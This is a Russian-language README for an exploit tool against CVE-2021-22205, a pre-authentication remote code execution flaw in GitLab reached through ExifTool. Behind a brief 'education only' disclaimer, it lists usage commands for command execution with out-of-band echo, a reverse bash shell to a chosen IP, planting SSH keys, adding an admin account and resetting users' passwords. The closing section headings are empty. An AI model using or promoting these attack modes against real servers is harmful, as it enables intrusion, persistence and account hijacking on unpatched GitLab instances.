
GitLab CE/EE Preauth RCE с использованием ExifTool
GitLab CE/EE Preauth RCE с использованием ExifTool
Этот проект предназначен только для обучения, если чьи-то права были нарушены, пожалуйста, свяжитесь со мной, чтобы удалить проект, и последнее НЕ ИСПОЛЬЗУЙТЕ ЕГО НЕЗАКОННО. Если вы совершите незаконные действия при использовании этого инструмента, вы будете нести все последствия самостоятельно. Все разработчики и все участники этого инструмента не несут никакой юридической и совместной ответственности.
Проблема была обнаружена в GitLab CE/EE, затрагивающая все версии, начиная с 11.9. GitLab некорректно проверял файлы изображений, которые передавались парсеру файлов, что приводило к удаленному выполнению команд.
Затронутые версии:
Обнаружение версии GitLab по хешу в Webpack manifest.json
Автоматические out-of-band взаимодействия с DNSLog и PostBin RequestBin
Поддержка обратной Bash-оболочки / добавление SSH-ключа в authorized_keys
Поддержка клавиши ENTER для изменения и восстановления пароля пользователя GitLab
🐚 ››› python CVE-2021-22205.py
░░░░▐▐░░░ CVE-2021-22205
▐ ░░░░░▄██▄▄ GitLab CE/EE Unauthenticated RCE using ExifTool
▀▀██████▀░░ Affecting all versions starting from 11.9
░░▐▐░░▐▐░░ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
▒▒▒▐▐▒▒▐▐▒ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via requestbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
site_url: http[s]://<domain|ip>[:port]/, например: https://example.com:9000/*, нестабильны, могут не работать :(Обнаружение:

RCE (Echo через RequestBin OOB):

Обратная Bash-оболочка:

Добавление SSH-ключа в authorized_keys:

Изменение и восстановление пароля пользователя GitLab:
